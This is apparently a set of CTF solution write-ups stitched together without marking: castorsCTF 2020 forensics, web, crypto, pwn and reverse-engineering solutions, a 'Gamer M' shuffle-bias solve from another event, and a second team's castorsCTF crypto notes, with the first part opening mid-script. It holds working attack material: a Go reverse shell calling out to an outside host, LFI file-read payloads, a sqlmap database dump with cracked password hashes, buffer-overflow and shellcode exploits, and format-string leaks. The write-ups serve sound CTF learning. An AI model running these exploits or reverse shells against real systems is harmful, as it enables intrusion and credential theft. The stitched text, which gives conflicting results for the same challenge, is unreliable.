r = remote("chals20.cybercastors.com", 14432)
r.sendlineafter("Choice: ","1")r.sendlineafter("Choice: ","2")r.sendlineafter("Choice: ","3")r.sendlineafter("Choice: ","6")
for _ in range(6000//20): r.sendlineafter("Choice: ", "0") r.sendlineafter("Choice: ", "1")
r.sendline("5") # castorsCTF{$imPl3_sTUph_3h?}
r.interactive()```
# Forensics
## LeftoversThis is HID data, but with a slight twist where multiple keys are being sent in the same packet. First we extract all the HID data packets.
`tshark -r interrupts.pcapng -T fields -e usb.capdata > usbdata.txt`
Some manual cleanup is required afterwards; namely deleting blank lines and deleting metadata PDUs (which have a different length).
After this, you just run your run-of-the-mill HID parser, just to see that it doesn't support Caps Lock, and assumes only one key is arriving at any point. Adding caps-lock support, I'm left with
`what dooyoo thhnng yyuu will ffnnn herr? thhss? csstossCTF{1stiswhatyoowant}`
and these letters that are pressed, but couldn't be merged with the earlier output: `uuuiiioooiiiddeeiiiaarruu`. Through manual comparison of the provided strings, and filtering out some double letters, it's clear that the flag must be `castorsCTF{1stiswhatyouwant}`.
## ManipulationThe challenge has a .jpg file, but the contents are actually output from `xxd`. The first line is also moved to the bottom. We can undo this by moving the last line to the top, using a text editor, then running `xxd -r` on the file. This produces a valid JPG file with two flags on it. The last flag was the correct one.
## Father Taurus Kernel Import!Loaded dump into Autopsy, let it scan. Found a deleted file `Secrets/_lag.txt` (originally flag.txt?) with contents`Y2FzdG9yc0NURntmMHIzbnMxY1NfbHNfSVRzXzBXbl9iMFNTfQ==`, which after base64 decoding becomes `castorsCTF{f0r3ns1cS_ls_ITs_0Wn_b0SS}`.
# General
# Web
## Bane ArtThis challenge has a very obvious LFI vulnerability, and php wrappers are enabled. After some probing around, reading files with`http://web1.cybercastors.com:14438/app.php?topic=php://filter/convert.base64-encode/resource=<FILENAME>`and abusing `/proc/self/fd/7` as a semi-RCE, we find the flag located at`/home/falg/flag/test/why/the/hassle/right/flag.txt`.
Final payload is then `http://web1.cybercastors.com:14438/app.php?topic=php://filter/convert.base64-encode/resource=/home/falg/flag/test/why/the/hassle/right/flag.txt`
`castorsCTF{w3lc0m3_2_D4_s0urc3_YoUng_Ju4n}`
## ShortcutsSaw you could upload your own shortcuts, however if you uploaded `<filename>` and clicked it, the webapp tried to `go run <filename>.go`. I circumvented this by just uploading `<filename>` and `<filename>.go` to the shortcuts app with the same content, then clicking the `<filename>` link.
the go code I uploaded was some sample rev-shell code from pentestmonkey.```gopackage main
import ( "net" "os/exec" "time")
func main() { reverse("167.99.202.x:8080")}
func reverse(host string) { c, err := net.Dial("tcp", host) if nil != err { if nil != c { c.Close() } time.Sleep(time.Minute) reverse(host) }
cmd := exec.Command("/bin/sh") cmd.Stdin, cmd.Stdout, cmd.Stderr = c, c, c cmd.Run() c.Close() reverse(host)}```
After that I found the flag in /home/tom/flag.txt
## QuizSaw a simple quiz app, apparently written in Go. Tried lots of stuff with the questionaire, could provoke a strconv error when setting question number to something that was not a number, but nothing else interesting.
After some directory brute forcing we found /backup/, giving us the soruce code.
### Function & routes```go mux := httprouter.New()
mux.GET("/", index) mux.GET("/test/:directory/:theme/:whynot", super) mux.GET("/problems/math", math) mux.POST("/problems/math", mathCheck)
//Remember to Delete mux.GET("/backup/", backup)``````gofunc super(w http.ResponseWriter, req *http.Request, ps httprouter.Params) { fmt.Println(ps.ByName("whynot")) var file string = "/" + ps.ByName("directory") + "/" + ps.ByName("theme") + "/" + ps.ByName("whynot") test, err := os.Open(file) handleError(w, err) defer test.Close()
scanner := bufio.NewScanner(test) var content string for scanner.Scan() { content = scanner.Text() }
fmt.Fprintf(w, "Directories: %s/%s\n", ps.ByName("directory"), ps.ByName("theme")) fmt.Fprintf(w, "File: %s\n", ps.ByName("whynot")) fmt.Fprintf(w, "Contents: %s\n", content)}```After inspecting the source code we see that the super function gives us LFI, but only the last line in the file we want to view.
We tried alot of stuff, including viewing the .csv files, different files in /proc, until we finally looked at the description hinting to the name jeff.
```bashcurl --path-as-is -g 'http://web1.cybercastors.com:14436/test/home/jeff/flag.txt' -o -Directories: home/jeffFile: flag.txtContents: castorsCTC{wh0_l4iks_qUiZZ3s_4nyW4y}```
## Car LotteryWe're presented with a website that says you need to be visitor number N, for some large number N, in order to buy a car. Inspecting the requests, it's clear that this is set through cookies, and we can gain access by setting the cookie `client=3123248`. This allows us to browse the cars, by querying for data. Probing around here a bit, reveals an SQLi vulnerability in the lookup. We dump the entire database with this.
`python sqlmap.py -o -u "http://web1.cybercastors.com:14435/search" --data "id=1" --cookie="client=3123248" --dump-all`
Inspecting the data, there's a table called `Users` with the following contents:
```Username,Password[email protected],cf9ee5bcb36b4936dd7064ee9b2f139e[email protected],fe87c92e83ff6523d677b7fd36c3252d[email protected],d1833805515fc34b46c2b9de553f599d[email protected],77004ea213d5fc71acf74a8c9c6795fb```
Which are easily cracked
```cf9ee5bcb36b4936dd7064ee9b2f139e:naruto fe87c92e83ff6523d677b7fd36c3252d:powerpuffd1833805515fc34b46c2b9de553f599d:pancakes77004ea213d5fc71acf74a8c9c6795fb:fun```
Here we got stuck for a while, until an admin hinted towards scanning for endpoints. This gave us `http://web1.cybercastors.com:14435/dealer`, where we could use the credentials above to log in and get the flag.
`castorCTF{daT4B_3n4m_1s_fuN_N_p0w3rfu7}`## Mixed FeelingsFound some commented out "php" code.
```php if(isset($file)) { if ($user == falling_down_a_rabit_hole) { exit()? } else { go to .flagkindsir }}```
http://web1.cybercastors.com:14439/.flagkindsir
Found this link
When we click the buttons it posts cookies=cookies or puppies=puppies.
So we tried flags=flags, then on a whim cookies=flag, and it worked.
```bashcurl 'http://web1.cybercastors.com:14439/.flagkindsir' --data-raw "cookies=flag"```
# Crypto## One Trick Ponyjust OTP where the flag is the key. so just input some known plaintext and get encrypted text. ```bash➜ Mixed Feelings echo -n "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" | nc chals20.cybercastors.com 14422
> b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13'```Then XOR the encrypted text with the known plaintext.```python>>> from pwn import xor>>> xor("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13')b'cstorsCTF{k33p_y0ur_k3y5_53crcstorsCTF{k33p_y0'```
## Magic School BusHere we're presented with a service that serves up a scrambled flag, and can scramble arbitrary inputs. There's two ways to solve this: modify the input until its scrambled output matches the flag output, or figure out the scramble. We figured out the scramble indexes by scrambling strings like "BAAA...", "ABAA..." and noting where the 'B' ended up each time. Then applied this in reverse to the scrambled flag.
```pythonfrom pwn import *
lookup = []flag_len = 46
r = remote("chals20.cybercastors.com", 14421)
for i in range(flag_len): s = list("A"*flag_len) s[i] = "B" s = ''.join(s) r.sendline("1") _ = r.recv() r.sendlineafter("Who's riding the bus?: ", s) resp = r.recvline().strip().split()[2] lookup.append(resp.index("B"))
# lookup = [11, 23, 17, 5, 34, 40, 0, 29, 12, 24, 18, 6, 35, 41, 1, 30, 13, 25, 19, 7, 36, 42, 2, 31, 14, 26, 20, 8, 37, 43, 3, 32, 15, 27, 21, 9, 38, 44, 4, 33, 16, 28, 22, 10, 39, 45]
assert sorted(lookup) == range(flag_len)
r.sendline("2")r.recvuntil("Flag bus seating: ")flag = r.recvline()print flag # SNESYT3AYN1CTISL7SRS31RAFSKV3C4I0SOCNTGER0COM5
final_flag = [None] * flag_lenfor i in range(flag_len): final_flag[i] = flag[lookup[i]]
print(''.join(final_flag))```
Adding underscores we get `CASTORSCTF{R3C0N4ISSANCE_IS_K3Y_TO_S0LV1NG_MYS73R1E5}`
## WarmupSimple math, using the formulas`a=p+q, b=p-q, a^2+b^2=c^2, A=a*b/2`we end up with an equation for q and p alone, e.g.`2*q^2 = (c^2)/2 - A/2`
However, the `c` variable we've been given, is actually `c^2`, so the results were strange at first. After figuring this out, we can calculate p and q to decrypt the flag.
```pythonp = gmpy2.iroot(((c) // 4) - A, 2)[0]q = gmpy2.iroot(((c) // 4) + A, 2)[0]d = gmpy2.invert(e, (p-1)*(q-1))m = pow(enc, d, p*q)# castorsCTF{n0th1ng_l1k3_pr1m3_numb3r5_t0_w4rm_up_7h3_3ng1n3s}```
## Two PathsInside the image, there's some binary code that sends us off to `https://ctf-emoji-cipher.s3.amazonaws.com/decode_this.html`. And inside one of the color planes, we see a link sending us to `https://ctf-emoji-cipher.s3.amazonaws.com/text_cipher.htm`. I assume these are the two paths.
The first page has a ton of emojis, intersped with symbols like `_{},.!`. Removing all non-emojis, we see that there's 26 unique emojis, so it's likely a mapping to the English alphabet. Doing some basic tests does not reveal a probable mapping though, so it's likely some gibberish in the text. However, the second URL shows a message log between two persons, where one is speaking with text and the other in emoji. From the inital few sentences, we can guess that the emoji man is saying "hi" and "all good, you?". Using these translations lets us guess more and more letter mappings, until we have the entire text recovered.
```congratulations!_if_you_can_read_this,_then_you_have_solved_the_cipher!_we_just_hope_you_found_a_more_efficient_way_for_deciphering_than_going_one_by_one_or_else_you_won't_get_through_the_next_part_very_quickly._maybe_try_being_a_little_more_lazy!```
This text block is followed by a ton of flag-looking strings, where only one of them is the actual flag. This is why statistical tests failed to automatically decrypt this.
`castorsCTF{sancocho_flag_qjzmlpg}`
## Bagel BytesWe solved this before the code was released, and we're a bit unsure why such a huge hint was revealed after the challenge had been solved.
In this challenge, we get access to a service that lets us encrypt our own plaintexts, and also encrypt the flag with a chosen prefix. Fiddling about a bit, reveals that this is AES in ECB mode, which has a very common attack if you're given an oracle like here. Just ask the server to encrypt `"A"*15 + flag`. Then encrypt blocks like `"A"*15 + c` for every `c` in the printable alphabet, until you find a block similar to the flag block. This reveals a single letter of the flag. Now replace the last "A" with the first letter of the recovered flag, and repeat until the entire block is recovered.
To recover the next block, we can just use the first block as a prefix instead of using `"A"`, and look at the next block of the output. Here's some code for recovering the first block.
```pythonfrom pwn import *from string import printable
ALPHA = printable.strip()ALPHA = ALPHAr = remote("chals20.cybercastors.com", 14420)
def bake(s): r.sendlineafter("Your choice: ", "1") r.sendlineafter("> ", s) _ = r.recvline() _ = r.recvline() return r.recvline().strip()
def bakeflag(s): r.sendlineafter("Your choice: ", "2") r.sendlineafter("> ", s) _ = r.recvline() _ = r.recvline() return r.recvline().strip()
flag = ""for i in range(16): target = bakeflag("A"*(15-i))[:32] print("Target", target) for c in ALPHA: h = bake((flag + c).rjust(16, "A")) print("h", c, h) if target == h: flag += c print(flag) break else: assert False
# flag = "castorsCTF{I_L1k"```
Repeating this 3 times, looking at higher offsets when picking the `target` variable, we recover `castorsCTF{I_L1k3_muh_b4G3l5_3x7r4_cr15pY}`.
## Jigglypuff's songInstead of LSB stego, this challenge opted to do MSB stego. Simply use stegsolve to pick out the MSB of red, green and blue layers to recover a long text of rickrolls and `castorsCTF{r1ck_r0ll_w1ll_n3v3r_d3s3rt_y0uuuu}`## AmazonEach letter of the flag has been multiplied with a prime number, in increasing order.
```pythonimport gmpy2nums = [198,291,575,812,1221,1482,1955,1273,1932,2030,3813,2886,1968,4085,3243,5830,5900,5795,5628,3408,7300,4108,10043,8455,6790,4848,11742,10165,8284,5424,14986,6681,13015,10147,7897,14345,13816,8313,18370,8304,19690,22625]
flag = ""p=2
for num in nums: flag += chr(num // p) p = gmpy2.next_prime(p)
print(flag)```## 0x101 DalmatiansA continuation of Amazon, the change here is that the result is taken modulo 0x101```pythonimport gmpy2
nums = [198, 34, 61, 41, 193, 197, 156, 245, 133, 231, 215, 14, 70, 230, 33, 231, 221, 141, 219, 67, 160, 52, 119, 4, 127, 50, 19, 140, 201, 1, 101, 120, 95, 192, 20, 142, 51, 191, 188, 2, 33, 121, 225, 93, 211, 70, 224, 202, 238, 114, 194, 38, 56]
flag = ""p=2
for num in nums: for i in range(256): if (p*i) % 0x101 == num: flag += chr(i) break p = gmpy2.next_prime(p)
print(flag)```## Stalk MarketTo obtain the flag here, we need to guess the highest price out of 12 possibilities, 20 times in a row. The prices are picked based on some buckets of numbers, all rolled from the python random module. We're also given a commit hash for each price, to prove that the price was indeed pre-determined. We're also given the price of monday at AM each round.
The hashing algorithm does the following:
- Set initial state to a constant- Pad input and split into chunks of 16 bytes- For each chunk, do 8 rounds of:-- XOR state with the chunk-- Perform sbox lookup for each byte in the state-- Permute all state bytes according to a pbox.
The commit hashes are computed like `hash(secret + pad("mon-am-123"))`, where the secret value is exactly 16 bytes, or 1 chunk. The same secret is used for every price in a given round, and is also revealed after our guess for verification purposes.
A huge flaw here, is that after processing the secret block, the state will be **the same** for each calculated price. Then it applies the hashing algorithm to the time+price string. We can then basically say that the state after the first 8 rounds, is the actual initial state, instead of the secret. Since we know the price for monday at 12, we can undo all the hashing steps for the last block, to recover this "new secret". Then we can brute-force the prices for each time of the day, starting at the new secret, until it matches the commit we've been given. Now we know the prices, and can easily make the right guess.
```pythonfrom pwn import *
def pad(s): if len(s) % 16 == 0: return s else: pad_b = 16 - len(s) % 16 return s + bytes([pad_b]) * pad_b
def repeated_xor(p, k): return bytearray([p[i] ^ k[i] for i in range(len(p))])
def group(s): return [s[i * 16: (i + 1) * 16] for i in range(len(s) // 16)]
sbox = [92, 74, 18, 190, 162, 125, 45, 159, 217, 153, 167, 179, 221, 151, 140, 100, 227, 83, 8, 4, 80, 75, 107, 85, 104, 216, 53, 90, 136, 133, 40, 20, 94, 32, 237, 103, 29, 175, 127, 172, 79, 5, 13, 177, 123, 128, 99, 203, 0, 198, 67, 117, 61, 152, 207, 220, 9, 232, 229, 120, 48, 246, 238, 210, 143, 7, 33, 87, 165, 111, 97, 135, 240, 113, 149, 105, 193, 130, 254, 234, 6, 76, 63, 19, 3, 206, 108, 251, 54, 102, 235, 126, 219, 228, 141, 72, 114, 161, 110, 252, 241, 231, 21, 226, 22, 194, 197, 145, 39, 192, 95, 245, 89, 91, 81, 189, 171, 122, 243, 225, 191, 78, 139, 148, 242, 43, 168, 38, 42, 112, 184, 37, 68, 244, 223, 124, 218, 101, 214, 58, 213, 34, 204, 66, 201, 180, 64, 144, 147, 255, 202, 199, 47, 196, 36, 188, 169, 186, 1, 224, 166, 10, 170, 195, 25, 71, 215, 52, 15, 142, 93, 178, 174, 182, 131, 248, 26, 14, 163, 11, 236, 205, 27, 119, 82, 70, 35, 23, 88, 154, 222, 239, 209, 208, 41, 212, 84, 176, 2, 134, 230, 51, 211, 106, 155, 185, 253, 247, 158, 56, 73, 118, 187, 250, 160, 55, 57, 16, 17, 157, 62, 65, 31, 181, 164, 121, 156, 77, 132, 200, 138, 69, 60, 50, 183, 59, 116, 28, 96, 115, 46, 24, 44, 98, 233, 137, 109, 49, 30, 173, 146, 150, 129, 12, 86, 249]p = [8, 6, 5, 11, 14, 7, 4, 0, 9, 1, 13, 10, 2, 3, 15, 12]round = 8
inv_s = [sbox.index(i) for i in range(len(sbox))]inv_p = [p.index(i) for i in range(len(p))]
DAYTIMES = ["mon-pm", "tue-am", "tue-pm", "wed-am", "wed-pm", "thu-am", "thu-pm", "fri-am", "fri-pm", "sat-am", "sat-pm"]
def reverse_state(s, guess): state = bytes.fromhex(s) for _ in range(round): temp = bytearray(16) for i in range(len(state)): temp[inv_p[i]] = state[i] state = temp
for i in range(len(state)): state[i] = inv_s[state[i]]
state = repeated_xor(state, guess) return state.hex()
def hash(data, init): state = bytes.fromhex(init) data = group(pad(data)) for roundkey in data: for _ in range(round): state = repeated_xor(state, roundkey) for i in range(len(state)): state[i] = sbox[state[i]] temp = bytearray(16) for i in range(len(state)): temp[p[i]] = state[i] state = temp return state.hex()
r = remote("chals20.cybercastors.com", 14423)
for _ in range(20): _ = r.recvuntil("Price commitments for the week: ") hashes = [e.decode() for e in r.recvline().rstrip().split()] _ = r.recvuntil("Monday AM Price: ") monam_price = r.recvline().strip().decode() guess = pad(f"mon-am-{monam_price}".encode()) init = reverse_state(hashes[0], guess)
best_price = int(monam_price) best_time = "mon-am"
for ix, time in enumerate(DAYTIMES): for price in range(20, 601): guess = pad(f"{time}-{price}".encode()) h = hash(guess, init) if h == hashes[ix+1]: print(time, price) if price > best_price: best_price = price best_time = time break else: assert False r.sendline(best_time)
r.interactive()```
`Even Tom Nook is impressed. Here's your flag: castorsCTF{y0u_4r3_7h3_u1t1m4t3_turn1p_pr0ph37}`
# PWN
## abcbofVery simple buffer overflow, to overwrite the next variable with `CyberCastors`. Simply send a string with tons of padding, which ends in `CyberCastors`. Even when unsure about the exact padding length, multiple lengths can be tested.
## babybof1 part 1ROP to the `get_flag` function.```pythonfrom pwn import *import time
context.arch = "x86_64"
elf = ELF("babybof")r = remote("chals20.cybercastors.com", 14425)
payload = "A"*264payload += p64(elf.symbols["get_flag"])r.sendline(payload)r.shutdown("send")r.interactive()```Running it yields the flag: `castorsCTF{th4t's_c00l_but_c4n_y0u_g3t_4_sh3ll_n0w?}`
## babybof1 pt2Same start as the babybof1 challenge, except this time we need a shell. Since the stack is executable, and RAX contains a pointer to the array `gets()` wrote to, we use a "jmp rax" gadget to execute our shellcode.
*Replaces the payload in pt 1*
```pythonJMP_RAX = 0x0000000000400661payload = asm(shellcraft.sh()).ljust(264, "\x90")payload += p64(JMP_RAX)r.sendline(payload)r.interactive()```When we have a shell we can cat the `shell_flag.txt````consoleWelcome to the cybercastors BabybofSay your name: sh: 0: can't access tty; job control turned off$ lsbabybof flag.txt shell_flag.txt$ cat shell_flag.txtcastorsCTF{w0w_U_jU5t_h4ck3d_th15!!1_c4ll_th3_c0p5!11}```
## Babybof2We get a binary file called`winner` and a service to connect to.When running the program it asks for which floor the winners table is at. After opening up the program in IDA, we quickly find an unused function called `winnersLevel`. The function checks if the argument of this function is either one of two integers (258 (0x102) or 386 (0x182)). If the number is correct it prints the flag, or else it prints an info message that the badge number is not correct. We can overflow the input buffer using gets and overwrite the return address with the address of the `winnersLevel` function. We also need to send in the correct argument to this function to get the flag.
```python#!/usr/bin/env python3from pwn import *
exe = context.binary = ELF('winners')host = args.HOST or 'chals20.cybercastors.com'port = int(args.PORT or 14434)
def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw)
gdbscript = '''tbreak maincontinue'''.format(**locals())
# -- Exploit --- #io = start()
winners_addr = exe.symbols["winnersLevel"] # Address of the winnersLevel functionp = cyclic(cyclic_find(0x61616174)) # Send input of cyclic 100 to program to find the offset where we can write a new return address.p+= p32(winners_addr)p+= b'a'*4p+= p32(0x102) # Send in the correct integer value the function expects to print the flag
if args.LOCAL: io.sendlineafter('is the table at: \n', p)else: io.sendline(p) # Some issues with the remote service, se we need to send the exploit right away and not wait for any prompt. io.interactive()```The flag is: `castorsCTF{b0F_s_4r3_V3rry_fuN_4m_l_r1ght}`
## babyfmtSimple format string
Spammed some `%lx` and after decoding the hex I could see the flag, narrowed down to the `%lx`'s I needed.```cnc chals20.cybercastors.com 14426
Hello everyone, this is babyfmt! say something: %8$lx%9$lx%10$lx%11$lx%12$lx%13$lx%8$lx%9$lx%10$lx%11$lx%12$lx%13$lx4373726f747361635f6b34336c7b46543468745f6b34336c74346d7230665f745f366e317274735f7d6b34336c```
decoded the hex string, however the flag was divided into 8 char indices which had to be reversed, which I did with python.
```python>>> s = "Csrotsac_k43l{FT4ht_k43lt4mr0f_t_6n1rts_}k43l">>> "".join([s[i:i+8][::-1] for i in range(0,len(s),8)])'castorsCTF{l34k_l34k_th4t_f0rm4t_str1n6_l34k}'```
# Rev
## Reverse-meThe binary is reading a flag.txt file, applies some mapping function on each of the bytes, and dump them to the screen. Then it asks us to input the flag for verification.
We solved this by just encrypting A-Z, a-z, 0-9 etc. and creating a mapping table for it.
```pythonlookup = {e2:e1 for e1, e2 in zip("abcdefghijklmnopqrstuvwx", "6d6e6f707172737475767778797a6162636465666768696a".decode('hex'))}for e1, e2 in zip("ABCDEFGHIJKLMNOPQRSTUVWX", "434445464748494a4b4c4d4e4f505152535455565758595a".decode('hex')): assert not e2 in lookup lookup[e2] = e1for e1, e2 in zip("0123456789", "32333435363738393a3b".decode('hex')): assert not e2 in lookup lookup[e2] = e1
flag = "64 35 68 35 64 37 33 7a 38 6b 33 37 6b 72 67 7a".replace(" ","").decode('hex')print(''.join(lookup.get(e,'_') for e in flag))```
`castorsCTF{r3v3r51n6_15_fun}`## MappingVery similar to the Reverse-me challenge, except it's golang, and the output is base64-encoded before comparing it to the scrambled flag. I input the entire ASCII alphanum charset, set a breakpoint in the base64-encoding function, and read out the mapping table that was given as an argument to it. Then I extract the encoded flag used for comparison, decoded it and undid the mapping.
```pythonimport base64from string import maketrans
a = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"b = "5670123489zyxjklmdefghinopqrstuvwcbaZYXFGABHOPCDEQRSTUVWIJKNML"flag = "eHpzdG9yc1hXQXtpYl80cjFuMmgxNDY1bl80MXloMF82Ml95MDQ0MHJfNGQxbl9iNXVyMn0="
tab = maketrans(b,a)
print(base64.b64decode(flag).translate(tab))```
`castorsCTF{my_7r4n5l4710n_74bl3_15_b3773r_7h4n_y0ur5}`
## RansomThe binary here, is basically encrypting flag.png, and we're provided with an encrypted flag file and a traffic log. Looking at the file length, it's reasonable to believe that it's a stream cipher, which often can be undone by simply encrypting again. This is because stream ciphers often just XOR the plaintext with a bytestream.
But before the binary tries to encrypt, it tries to contact a webserver at 192.168.0.2:8081 and ask for a seed. If it is not able to successfully complete a handshake with this server, it will pick a random seed based on the current time.
We set up a basic flask server that with the endpoint `/seed`, that responds `1337` to GET requests and `ok\n` to POST requests. This matches the traffic seen in the traffic log. When we apply this to the original flag file, we get a valid PNG file with the flag on it. (Until we added the newline, it randomly encrypted things every time).

## OctopusBefore the new binary was dropped, this challenge looked like a very hard encoding challenge. After the update, it's a matter of removing the certificate header/footer, fixing newlines with dos2unix, then decoding the base64 into an ELF file. Running this ELF, spits out the flag in base64-encoded form.
```bashroot@bd2ba35b12d7:/ctf/work# ./obfusEstou procurando as palavras para falar em inglês ...Aqui vou[Y 2 F z d G 9 y c 0 N U R n t X a D B f c z Q x Z F 9 B b l k 3 a G x u R 1 9 C M H V U X 2 0 0 d E h 9]```
`castorsCTF{Wh0_s41d_AnY7hlnG_B0uT_m4tH}`
|
# Gamer M
```pyimport random
def shuffle(s): for i in range(len(s)): j = random.randint(0, len(s) - 1) s[i], s[j] = s[j], s[i] return s
def combat(level): rps = ["rock", "paper", "scissors"] crit = rps[random.randint(0, 2)] if crit == "rock": print("A disciple stands in your way! Take your action!") elif crit == "paper": print("A disciple blocks your way! Take your action!") elif crit == "scissors": print("A disciple stalls your advance! Take your action!")
print("\tChoose your weapon ('rock', 'paper', 'scissors')") if input("\tChoice: ").lower().strip() == crit: print("Sucess!") for name, c in level: print("%s dropped: %s" % (name, c)) print("You rest and continue your journey.\n") return 1 else: print( "It wasn't very effective! The disciple counters with a seven page combo of punches and you die." ) print("Try again when you reincarnate.") return 0
def game(): flag = open("flag.txt").read().strip() names = shuffle([i.strip() for i in open("names.txt").readlines()]) match = [(names[i], flag[i]) for i in range(len(flag))]
levels = shuffle( [ shuffle(match[::5]), shuffle(match[1::5]), shuffle(match[2::5]), shuffle(match[3::5]), shuffle(match[4::5]), ] )
print( "Welcome to the temple.\n" + "\n" + "You will face five tests.\n" + "Each test involves combat against five disciples.\n" + "Each disciple holds a key.\n" + "Combine the keys to unlock the scroll's message." )
for n, level in enumerate(levels): print() print("- = - Level %i - = - " % (n + 1)) if not combat(level): return
print("You triumphed over all trials!")
if __name__ == "__main__": game()```
While there's quite a bit going on in this challenge, there are only a handfulof things that are going to be important for solving it.
1. The game of RPS is dead easy to automate based on the prompt;2. The flag is chunked into 5 blocks, like `1234512345123451234512345`;3. Each block is shuffled individually, then the order of the 5 blocks is shuffled;4. The shuffler function is actually not perfectly random.
Of these, 4 is probably the hardest to notice. If we use this shuffle functionto shuffle the array `[0, 1, 2, 3, 4]` a million times, then look at theaverage output, what we see is `[4, 0, 1, 2, 3]`. If we do it again, we getthat exact same pattern. In fact, no matter how many times we run it, we'll,on average, see `[4, 0, 1, 2, 3]`, and this is where the bias comes in.
To be able to abuse this bias, we need a lot of data, so I wrote a script thatcould play the game automatically (and 10 times simultaniously, too) whichthen dumped the outputted letters into a nice long JSON file.
A single game then looks somewhat like this:
```js[ ["A", "2", "C", "t", "r"], ["x", "F", "J", "f", "}"], ["6", "t", "{", "0", "R"], ["3", "e", "j", "b", "i"], ["5", "4", "o", "c", "n"]]```
On paper, we now have a number of different shuffles we need to reverse inorder to get the flag. In reality, it's not so hard. The flag is going tostart with `tjctf{`, so we can have a look and see if we can find that in thedata. There are two cases of `t`, but only one of `{`, so we know which of the5 blocks goes first. Repeating this logic for the remainder of `jtcf`, we canre-order that chunk of blocks into this:
```js[ ["6", "t", "{", "0", "R"], ["3", "e", "j", "b", "i"], ["5", "4", "o", "c", "n"], ["A", "2", "C", "t", "r"], ["x", "F", "J", "f", "}"]]```
Doing this automatically to all of the 1000 collected chunks means we can nowfocus on all of the #1 chunks, all of the #2 chunks, and so on.
The logic for un-shuffling the data is deceptively simple: The letter thatappears most as the 5th letter (index 4) is probably the first letter in thatblock. The character that appears most as the first letter (index 0) is mostlikely the second letter, and so on. The short script I used for this isbelow.
```pyimport jsond = open('data2.json').read()d = json.loads(d)
unique = ['{', 'j', 'c', 'C', 'f']flag = [0] * 25for n, unq in enumerate(unique): data = [] for i in d: for j in i: if unq in j: data.append(j)
for m, i in enumerate([4, 0, 1, 2, 3]): idx = [j[i] for j in data]
mx = max(set(idx), key=idx.count) flag[m * 5 + n] = mxprint(''.join(flag))```
This script also handles reconstruction of the flag from the 5 blocks, whichsaves us a little time. The output from the script, however, isn't perfect.
```0jot}{i5AJ0borFRenCx6342}```
This is likely due to only having 1000 data points. As it would happen though,the only mistakes it made was the duplication of the letters `0`, `o`, and`}`. We know those letters won't be at the start, so we can fix the start ofthe flag (`tjctf{`) and leave the second occurances of those letters wherethey are. This gives the flag! |
# Crypto
## Goose ChaseChallange Description: ``` There's no stopping this crazy goose.+2 PNG File```Challange gives us two different .png files. Both have strange looked strip at the bottom. So using `stegsolve` to combine them. And it gives the flag.

## One Tricky PonyChallange Description: ```nc chals20.cybercastors.com 14422```
It returns hex values when entered random characters. Then try to enter some spaces in it. And then it gives ```b'CASTORSctf[K\x13\x13P\x7fY\x10UR\x7fK\x13Y\x15\x7f\x15\x13CR\x13\x17\x7f\x14ND\x7fD\x10N\x17\x7fR\x13U\x15\x13\x7f\x17H\x13M\x01]```
By using the [ASCII Table](https://bluesock.org/~willg/dev/ascii.html) and manually decode every hex value. And the flag is ``` castorsCTF{k33p_y0ur_k3y5_53cr37_4nd_d0n7_r3u53_7h3m!}```
## Magic School BusChallange Description:```nc chals20.cybercastors.com 14422Flag is slightly out of format. Add underscores and submit uppercase```There is two options. The second one gives the flag with changing the order and making them uppercase. This was the given flag:```SCNTGET0SKV3CTNESYS2ISL7AF4I0SC0COM5ORS31RR3AYN1```And in the first option it change the given letter to uppercase and if you write multiple characters it change the order. Need to find how it change the order. To find it gave it 46 char lenght of string that has not same char in it. ```Input:ABCDEFTGHIJKLMNOPRSTVYZXWQÖÇÜĞŞİ1234567890€₺½¾Output:TNZŞ7DKTÇ4½AHPW19CJSÖ3€BIRQ20GOİ8ELVÜ5¾FMYĞ6₺```Then check and note how it change the order by each index. Then apply by reversely on the given flag.The flag is:```CASTORSCTF{R3C0N4ISSANCE_IS_K3Y_TO_S0LV1NG_MYS73R1E5}```
## Two PathChallange Description:```The flag is somewhere in these woods, but which path should you take?```
Using ```strings``` on the image and it gives us a binary.
```01101000 01110100 01110100 01110000 01110011 00111010 00101111 00101111 01100111 01101111 00101110 01100001 01110111 01110011 00101111 00110010 01111010 01110101 01000011 01000110 01000011 01110000 ```When decode it gaves this link:```https://go.aws/2zuCFCp```Where we can find a lot of random emojies like:```♈♓♒??♉❌?♏♉❌⏺♓♒♊!_⏺?_?♓?_♈♉♒_?✖♉⛎_❌⏫⏺♊,_❌⏫✖♒_?♓?_⏫♉➗✖_♊♓♏➗✖⛎_❌⏫✖_♈⏺♑⏫✖?!_?✖_➿?♊❌_⏫♓♑✖_?♓?_?♓?♒⛎_♉_Ⓜ♓?✖_✖??⏺♈⏺✖♒❌_?♉?_?♓?_⛎✖♈⏺♑⏫✖```Need to decode this but to decode it we need more. So return to the image and ```stegsolve``` on it. When we change the color settings the hidden link appear in the left bottom corner. The page is named ```decode-this``` .```https://go.aws/2X1R6H7```In this link there is a chat between two people. One is texting and other only using emojies. Guessed some of the words that the second person said eg. ```hi! ``` and ```you?```. By using these letters found all alphabet in emojies. ```♉: A♌: B♈: C⛎: D✖ : E?: F?: G⏫: H⏺: I?: K♏: LⓂ: M♒: N♓: O♑: P?: R♊: S❌: T?: U?: Y?: Z?: W?: X``` Then search castorsCTF by using emoji alpahbet in the ```decode-this``` website. The flag is:```castorsCTF{sancocho_flag_qjzmlpg}```
## Jigglypuff's SongChallange Description:```Can you hear Jigglypuff's song?```
Use ```stegsolve``` on it and and then do ```data analyze``` on it with cheking only the RGB 7 boxes. The flas is in the text. ```castorsCTF{r1ck_ r0ll_w1lln3v3r d3s3rt_y0uuuu}```
